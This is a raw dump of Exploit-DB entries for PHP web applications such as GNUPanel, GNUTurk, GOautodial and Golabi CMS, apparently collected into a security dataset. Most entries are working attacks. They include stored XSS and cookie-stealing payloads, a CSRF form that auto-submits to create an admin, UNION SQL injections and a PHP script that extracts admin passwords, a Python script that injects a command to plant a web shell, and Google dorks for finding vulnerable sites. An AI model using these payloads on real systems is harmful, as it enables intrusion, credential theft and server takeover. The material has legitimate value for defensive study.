deardaniel/secdata-raw huggingface dataset:
Exploit-DB #32207
Description: GNUPanel 0.3.5_R4 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2014-03-12
Author: Necmettin COSKUN

Exploit:
# Exploit Title		:GNUpanel 0.3.5_R4 - Multiple Vulnerabilities
# Vendor Homepage	:http://wp.geeklab.com.ar/gl-en/gnupanel/
# GNUPanel Version	:0.3.5_R4
# Server			:Centos 6.4
# Exploit Author	:Necmettin COSKUN =>@babayarisi
# Blog				:http://www.ncoskun.com http://www.grisapka.org
# Discovery date	:03/11/2014
# CVE				:N/A
 
GNUPanel is a hosting control panel for Debian. It is written in PHP and it is tailored to run on 32 and 64 bit Debian GNU/Linux web hosting servers.  
Description
================
Stored XSS vulnerability
 
Vulnerability
================
GNUPanel has a pure coded ticket support system   Comment "consultar" field is not ascaped so any 
tags including script tags can be stored in them.
customer client can send malicious ticket to reseller client
reseller client can send malicious ticket to Server Admin
 
Proof of concept
================
Go to Support tab and click > New Ticket 
Set subject field Demo
Set comment field "><script>alert("XSS");</script>
Click Send.
Go to Support tab and Click >Pending tickets
Click read button  Bingo XSS ;)
================
 
Second one:
CSRF vulnerability
================
 
Description
================
CSRF vulnerability in BP Group Documents 1.2.1
 
Vulnerability
================
An unauthenticated user can cause a logged in user to create support ticket including
malicious code.
 
Proof of concept
================
<html>
<body>
<form id="baba" method="post" action="http://demo/gnupanel-reseller.php?seccion=tickets&plugin=enviar_ticket"> 
<input name="asunto" size="45" value="Demo12" maxlength="254"> 
<textarea name="consultar" rows="10" cols="50"><script>alert("XSS");</script>&lt;/textarea&gt;
<input name="ingresando" value="1" type="hidden"> 
<input name="resetea" value="Reset" type="reset">
<input name="agrega" value="Send" type="submit"> 
</form>
<script
type="text/javascript">document.getElementById("baba").submit();
</script>
</body>
</html>
================
  
Discovered by:
================
Necmettin COSKUN  |GrisapkaGuvenlikGrubu|4ewa2getha!
Exploit-DB #30082
Description: GNUTurk - 'Mods.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2007-05-25
Author: vagrant

Exploit:
source: https://www.securityfocus.com/bid/24152/info

Gnuturk is prone to a cross-site scripting vulnerability.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks.

Gnuturk 3G is vulnerable to this issue.

http://www.target.com/mods.php?go=News&p=ln&year=2007&month="><h1>Vagrant</h1><script>alert(document.cookie)</script>
Exploit-DB #2378
Description: GNUTURK 2G - 't_id' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-16
Author: p2y

Exploit:
<?
/*
------------------------------------------------------------------------------------------------------------
--------Gnu turk all versions simple get admin uname & pass without hash blind sql injection exploit---------------
                             -------------Powered by p2y ---------------
                    ---------------Use it at ur own RisK :P :D ----------------------
------------------------------------------------------------------------------------------------------------




p2y@p2y:~/Desktop/projects$ php gnuturk.php 127.0.0.1 /portals/gnuturk/ 1

--------------------------------
Powered by p2y
Admin username : p2y
Admin [CREDENTIAL_REDACTED]
N0w go 2 http://127.0.0.1/portals/gnuturk/admin/ and login with this inf0rmation
Cuz n0where is Secure En0ugh ...
--------------------------------


*/
//simple get admin username && pass exploit by p2y
error_reporting(0);
$site=$argv[1];
$path=$argv[2];
$id=$argv[3];

if($site && $path && $id)
{
if(!ereg("http",$site)) $site="http://".$site;

$sql="mods.php?go=Forum&p=vtop&t_id=-2%20Union/**/Select/**/1,2,username,password,5,6,7,8,9/**/From/**/gtp_admins/**/WHERE/**/id=$id/*";
$url=$site.$path.$sql;

$html=file_get_contents($url);
$tmp=explode("/*>",$html);
$rtmp=explode("</a>",$tmp[1]);
$a_username=$rtmp[0];



$tmp=explode('<td class="forum_msg" valign="top">',$html);
$rtmp=explode("</td>",$tmp[1]);
$a_pass=$rtmp[0];
 

echo "--------------------------------\n";
echo "Powered by p2y\n";
echo "Admin username : $a_username\n";
echo "Admin password : $a_pass\n";
echo "N0w go 2 $site$path"."admin/ and login with this inf0rmation\n";
echo "Cuz n0where is Secure En0ugh ...\n";
echo "--------------------------------\n";



}
else
{

echo "--------------------------------\n";
echo "Powered by p2y\n";
echo "Enter host path admin id\n";
echo "usage = php p2y.php 127.0.0.1 /gnu/ 1\n";
echo "Cuz n0where is Secure En0ugh ...\n";
echo "--------------------------------\n";


}

?>

# milw0rm.com [2006-09-16]
Exploit-DB #6930
Description: GO4I.NET ASP Forum 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-01
Author: Bl@ckbe@rD

Exploit:
                                    # Bl@ckbe@rD ('Tunisian TerrorisT') #
                                         # ===================== #
-----------------------------------------------------------------------------------

[+] Script Name   : Asp Forum v1.0 Rem0te SQL Injection EXploit

[+] Author          : Bl@ckbe@rD ('Tunisian TerrorisT')

[+] Contact         : blackbeard-sql[A.T]hotmail{.}fr

[+] Home           : http://www.underz0ne.org

[+] Dork             : http://www.google.com

http://www.google.com/search?q=%22ASP+Forum+v1.0+-+Powered+by+GO4I.NET++-%22+++inurl:forums.asp%3FiFor%3D&

hl=fr&lr=&client=firefox-a&rls=org.mozilla:fr:official&hs=ELg&

filter=0 

--//-->

[+] Expl0iT :

http://www.site.xx/forum/forum.asp?iFor={sql}

http://www.site.xx/forum/forum.asp?iFor=12+union+select+1,2,3,u_password,5,u_id,7,8,9,10,11,12+from+users
--//-->

[+] GrEEtZ : allah , Xerror , hak3r-b0y ,King Of Hacker , UnderZ0ne Crew...

# milw0rm.com [2008-11-01]
Exploit-DB #47402
Description: GOautodial 4.0 - 'CreateEvent' Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2019-09-19
Author: cakes

Exploit:
# Exploit Title: GOautodial 4.0 - 'CreateEvent' Persistent Cross-Site Scripting
# Author: Cakes
# Discovery Date: 2019-09-19
# Vendor Homepage: https://goautodial.org/
# Software Link: https://downloads2.goautodial.org/centos/7/isos/x86_64/GOautodial-4-x86_64-Pre-Release-20[PII_REDACTED].iso
# Tested Version: 4.0
# Tested on OS: CentOS 7
# CVE: N/A

# Discription:
# Simple XSS attack after application authentication. 

# POST Request

POST /php/CreateEvent.php HTTP/1.1
Host: 10.0.0.25
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://10.0.0.25/events.php
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 69
Cookie: PHPSESSID=b9jgg31ufmmgf84qdd6jq6v3i1
Connection: close
DNT: 1

title=%3Cscript%3Ealert(%22TEST%22)%3B%3C%2Fscript%3E&color=%2300c0ef
Exploit-DB #48923
Description: GOautodial 4.0 - Authenticated Shell Upload
Type: webapps
Platform: php
Date: 2020-10-21
Author: Balzabu

Exploit:
# Exploit Title: GOautodial 4.0 - Authenticated Shell Upload
# Author: Balzabu
# Discovery Date: 07-23-2020
# Vendor Homepage: https://goautodial.org/
# Software Link: https://goautodial.org/GOautodial-4-x86_64-Final-20[PII_REDACTED].iso.html
# Tested Version: 4.0 (Last relase as of today)
# Tested on OS: CentOS 7

# STEPS TO REPRODUCE:

1 - Log in as an agent
2 - Write a new message to user goadmin with random subject and text
3 - Attach your webshell to the message
4 - Access your shell at 
https://www.foo.com/uploads/year/month/shellname.php ( Example: 
https://XXX.XXX.XXX.XXX/uploads/2020/07/shell.php )
5 - Priv esc and enjoy ... :-)
Exploit-DB #48690
Description: GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)
Type: webapps
Platform: php
Date: 2020-07-26
Author: Balzabu

Exploit:
# Exploit Title: GOautodial 4.0 - Persistent Cross-Site Scripting (Authenticated)
# Author: Balzabu
# Discovery Date: 2020-07-23
# Vendor Homepage: https://goautodial.org/
# Software Link: https://goautodial.org/GOautodial-4-x86_64-Final-20[PII_REDACTED].iso.html
# Tested Version: 4.0 (Last relase as of today)
# Tested on OS: CentOS 7

# STEPS TO REPRODUCE:

# 1 - Log in as an agent
# 2 - Write a new message to user goadmin with:
Subject: Help me, I can't connect to the webphone <script src=1
href=1 onerror="javascript:alert(document.cookies)"></script>
Text: whatever you want
# 3 - Send and wait for goadmin to read the message... :-)
Exploit-DB #36231
Description: GoAutoDial CE 2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2015-02-28
Author: R-73eN

Exploit:
# Title : GoAutoDial CE 2.0 Shell Upload
# Date : 28/02/2015 
# Author : R-73eN
# Software : GoAutoDial CE 2.0
# Tested : On Linux vicisrv.loc 2.6.18-238.9.1.el5.goPAE #1  GoAutoDial CE 2.0

import socket
import sys
banner = "\n\n"
banner +="  ___        __        ____                 _    _  \n"  
banner +=" |_ _|_ __  / _| ___  / ___| ___ _ __      / \  | |    \n"
banner +="  | || '_ \| |_ / _ \| |  _ / _ \ '_ \    / _ \ | |    \n"
banner +="  | || | | |  _| (_) | |_| |  __/ | | |  / ___ \| |___ \n"
banner +=" |___|_| |_|_|  \___/ \____|\___|_| |_| /_/   \_\_____|\n\n"
print banner
CRLF = "\r\n"
def checkvuln():
	command = "uname"
	evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,80))
	evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
	s.send(evilREQ)
	a = s.recv(1024)
	if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Linux") != -1):
		print '[ + ] Server Is vulnerable [ + ]\n'
		shellupload()
	else: 
		print '[ - ] Server is not vulnerable [ - ]\n'
	s.close()


def shellupload():
	command = "echo 'Infogen-AL<br><?php echo system($_GET['cmd']);?>' > /var/www/html/infogen.php"
	#command = "rm /var/www/html/123.pl;rm /var/www/html/TEST.perl"
	command = command.replace(" ", "%20")
	evil = path + '/manager_send.php?enable_sipsak_messages=1&allow_sipsak_messages=1&protocol=sip&ACTION=OriginateVDRelogin&session_name=AAAAAAAAAAAA&server_ip=%27%20OR%20%271%27%20%3D%20%271&extension=%3B' + command + '%3B&user=' + user + '&pass=' + password
	s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect((host,80))
	evilREQ = 'GET ' + evil + ' HTTP/1.1' + CRLF + 'Host: ' + host + CRLF + 'User-Agent: Infogen-AL' + CRLF + CRLF + CRLF
	s.send(evilREQ)
	a = s.recv(1024)
	if(a.find("HTTP/1.1 200 OK") != -1 and a.find("Invalid") == -1):
		print '[ + ] Shell uploaded successfully [ + ]\n'
		print '[ + ] http://' + host + '/infogen.php [ + ]\n'
	else:
		print '[ - ] Shell upload failed.... [ - ]'
	s.close()

if(len(sys.argv) < 4):
	print '\n Usage : exploit.py 127.0.0.1 /goautodial-agent/ agentuser agentpassword\n'
else:
	host = sys.argv[1]
	path = sys.argv[2]
	user = sys.argv[3]
	password = sys.argv[4]
	checkvuln()
	print 'Visit Us : http://infogen.al/'
Exploit-DB #7518
Description: Gobbl CMS 1.0 - Insecure Cookie Handling
Type: webapps
Platform: php
Date: 2008-12-18
Author: x0r

Exploit:
---------------------------
Gobbl Cms 1.0 I.Cookie Hand.
---------------------------
Autore: x0r ( Evolution Team)
Email: andry2000@hotmail.it
Demo Site:http://www.gobbl.net/
---------------------------
 
Bug In: \admin\auth.php  
 
?>
include ('../config.php');
 
$user = $_POST['user'];
$pass = $_POST['pass'];
 
if ( ($user == $un) and ($pass == $pw) )
{
setcookie( "auth", "ok", time()+40000 ); # Bugz
header ( "location:add.php" ); exit ();
}
else
{
header ( "location:index.php" ); exit ();
}
?>
 
Il file auth.php controlla se nel file ../config.php le post $user\$pass presentano gli stessi dati delle variabili
$un\$pw ( config.php ) se cosÃ¬ Ã¨ setta il cookie auth=ok :P ^ ^
 
Exploit:  
 
javascript:document.cookie = "auth=ok; path=/"; then \admin\menu.php # So Easy To Hack :P
 
Greetz: Amore Mio Sei La Mia Stella Che Mi Illumina Qua GiÃ¹...Ti AmO

# milw0rm.com [2008-12-18]
Exploit-DB #35977
Description: Godly Forums - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2011-07-25
Author: 3spi0n

Exploit:
source: https://www.securityfocus.com/bid/48872/info

Godly Forums is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/Forum/topics.php?id=2
Exploit-DB #12712
Description: goffgrafix Design's - SQL Injection
Type: webapps
Platform: php
Date: 2010-05-23
Author: XroGuE

Exploit:
=========================================================
goffgrafix Design's SQL Injection Vulnerability
=========================================================
##########################################
# Name: goffgrafix Design's SQL Injection Vulnerability
# Date: 2010-05-23
# vendor: www.goffgrafix.com
# Author: Ashiyane Digital Security Team
# Discovered By: XroGuE
# Contact: Xrogue_p3rsi4n_hack3r[at]Hotmail[Dot]com
# Home: www.Ashiyane.org
##########################################

[+] Dork: intext:"Web design by goffgrafix.com"

[+] Vulnerability: http://[site]/[path]/page.php?id=[SQLi]

[+] Demo: http://server/media.php?id=-999+UNION+All+SELECT+1,version(),3,4,5,6,7

[+] Demo: http://server/designer.php?id=-999+UNION+all+SELECT+1,version(),database(),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26--

##########################################
Exploit-DB #38928
Description: Gökhan Balbal Script 2.0 - Cross-Site Request Forgery
Type: webapps
Platform: php
Date: 2015-12-10
Author: KnocKout

Exploit:
                .__        _____        _______                
                |  |__    /  |  |___  __\   _  \_______   ____ 
                |  |  \  /   |  |\  \/  /  /_\  \_  __ \_/ __ \
                |   Y  \/    ^   />    <\  \_/   \  | \/\  ___/
                |___|  /\____   |/__/\_ \\_____  /__|    \___  >
                     \/      |__|      \/      \/            \/
                         _____________________________ 
                        /   _____/\_   _____/\_   ___ \  
                        \_____  \  |    __)_ /    \  \/ 
                        /        \ |        \\     \____ 
                       /_______  //_______  / \______  /
                               \/         \/         \/           
Gökhan Balbal v2.0  => Cross-Site Request Forgery Exploit (Add Admin)
~~~~~~~~~~~~~~~[My]~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[+] Author : KnocKout
[~] Contact : knockout@e-mail.com.tr
[~] HomePage : http://milw00rm.com - http://h4x0resec.blogspot.com 
[~] Þeker Insanlar :  ZoRLu, ( milw00rm.com ), 
                      Septemb0x , BARCOD3 , _UnDeRTaKeR_ , BackDoor, DaiMon
					  KedAns-Dz, b3mb4m
###########################################################
~~~~~~~~~~~~~~~~[Software info]~~~~~~~~~~~~~~~~~~~~~~~~~~~~
|~Web App. : Gökhan Balbal
|~Affected Version : v2.0
|~Software  : http://wmscripti.com/php-scriptler/gokhan-balbal-kisisel-web-site-scripti.html
|~RISK : High
|~Google Keyword :  "DiL BECERiLERi" "HoBi" "TASARIM BECERiLERi"

##################++ Exploit ++ ######################################

 <html>
  <body>
    <form action="http://[TARGET]/admin/ekleadmin2.php" method="POST">
      <input type="hidden" name="kadi" value="knockout" />
      <input type="hidden" name="sifre" value="password" />
      <input type="hidden" name="Submit" value="Exploit!" />
	  <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

############################################################
Exploit-DB #8112
Description: Golabi CMS 1.0 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2009-02-26
Author: CrazyAngel

Exploit:
--------------------------------------------------------------------------------
_________                                _____                         __
\_   ___ \____________  ___________ __  /  _  \   ____    ____   ____ |  |
/    \  \/\_  __ \__  \ \___   <   |  |/  /_\  \ /    \  / ___\_/ __ \|  |
\     \____|  | \// __ \_/    / \___  /    |    \   |  \/ /_/  >  ___/|  |__
 \______  /|__|  (____  /_____ \/ ____\____|__  /___|  /\___  / \___  >____/
        \/            \/      \/\/            \/     \//_____/      \/
--------------------------------------------------------------------------------
                 [wWw.CrazyAngel.iR]  -   [info-AT-CrazyAngel.iR]
--------------------------------------------------------------------------------

               [Golabi CMS Remote File Inclusion Vulnerability]

[+] Application Info:
    [*] Name:       Golabi CMS
    [*] Author:     R3dM0ve
    [*] HomePage:   http://golabicms.sourceforge.net/
    [*] Download:   http://downloads.sourceforge.net/golabicms/Golabi_1.0.zip?use_mirror=freefr

[+] Vulnerability Info:
    [*] Type:  Remote File Inclusion (RFI)
    [*] Requirement: register_globals [ON]
    [*] Risk:  High Critical
    [*] Bug Hunter: CrazyAngel
    [*] Details: Unhandled variable Inclusion in default template file results in RFI Vulnerability
    [*] Vul URL: [GOLABI_PATH]/templates/default/index_logged.php?main_loaded=1&cur_module=[EVIL_URL]

# milw0rm.com [2009-02-26]
Exploit-DB #8585
Description: Golabi CMS 1.0.1 - Session Poisoning
Type: webapps
Platform: php
Date: 2009-05-01
Author: CrazyAngel

Exploit:
--------------------------------------------------------------------------------
_________                                _____                         __
\_   ___ \____________  ___________ __  /  _  \   ____    ____   ____ |  |
/    \  \/\_  __ \__  \ \___   <   |  |/  /_\  \ /    \  / ___\_/ __ \|  |
\     \____|  | \// __ \_/    / \___  /    |    \   |  \/ /_/  >  ___/|  |__
 \______  /|__|  (____  /_____ \/ ____\____|__  /___|  /\___  / \___  >____/
        \/            \/      \/\/            \/     \//_____/      \/
--------------------------------------------------------------------------------
                 [wWw.CrazyAngel.iR]  -   [info-AT-CrazyAngel.iR]
--------------------------------------------------------------------------------

               [Golabi CMS Session Poisoning Vulnerability]

[+] Application Info:
    [*] Name:       Golabi CMS >= 1.0.1
    [*] Author:     R3dM0ve
    [*] HomePage:   http://golabicms.sourceforge.net/

[+] Vulnerability Info:
    [*] Type:       Session Poisoning
    [*] Bug Hunter: CrazyAngel
    [*] Vul URL:    [GOLABI_PATH]/Common/ImageVer.php?svar=[SESSION_NAME]
    [*] Details:    insufficient input validation in ImageVer.php
                    which copies user input into session variable.

[+] Attack Example:
    Malicious User can use this to Re-Install/Change Configurations of Installed Golabi:
    1. Go to [GOLABI_PATH]/Common/ImageVer.php?svar=InstallStep
    2. 'InstallStep' Session is Started,go to Install page [GOLABI_PATH]/install.php
        And Change Configurations. Hacker can also use this to include a malicious file
        into config.php by injecting php code into table_prefix field (in Installation Page - Step 1).

# milw0rm.com [2009-05-01]
Exploit-DB #23259
Description: GoldLink 3.0 - Cookie SQL Injection
Type: webapps
Platform: php
Date: 2003-10-18
Author: Weke

Exploit:
source: https://www.securityfocus.com/bid/8847/info

GoldLink is prone to SQL injection attacks. This is due to insufficient validation of values supplied via cookies. As a result, it may be possible to manipulate SQL queries, potentially resulting in information disclosure, bulletin board compromise or other consequences. 

vadmin_login = ' OR Login LIKE '%

and

vadmin_pass = ' OR Password LIKE '%
Exploit-DB #14145
Description: Golf Club Site - SQL Injection
Type: webapps
Platform: php
Date: 2010-06-30
Author: JaMbA

Exploit:
# Exploit Title: Golf Club SQL injection Vulnerability
# Date: 30/06/2010
# Author: JaMbA
#Script url: http://www.internetdm.co.uk/site/pages.php?fid=0,1,362
# Version: **N/A
# Tested on: Windows
# CVE : ()
###################################################################################



#########################[ EXPL0!T ]#########################

http://server/path/pages.php?fid=0,13&pp_id=38[SQL]



###################################################################################

Greetz to : Alnjm33-virus-pal -g3n1ux - Predator-Ahmadso - xXx-jago-dz
-injecteur-4PY-Tunisian Power Team- XR57 -Tr0y-x -alsaek
And All Tunisian hacker

=== SwT Labs ====
Exploit-DB #35349
Description: Gollos 2.8 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-02-15
Author: High-Tech Bridge SA

Exploit:
source: https://www.securityfocus.com/bid/46379/info

Gollos is prone to multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may let the attacker steal cookie-based authentication credentials and launch other attacks.

Gollos 2.8 is vulnerable; other versions may also be affected. 

http://www.example.com/?returnurl="><script>alert(document.cookie)</script>

http://www.example.com/register.aspx?returnurl="><script>alert(document.cookie)</script>

http://www.example.com/publication/info.aspx?pt=1&returnurl="><script>alert(document.cookie)</script>

http://www.example.com/user/add.aspx?returnurl="><script>alert(document.cookie)</script>user/add.aspx

http://www.example.com/product/list.aspx?q=1"><script>alert(document.cookie)</script>&x=0&y=0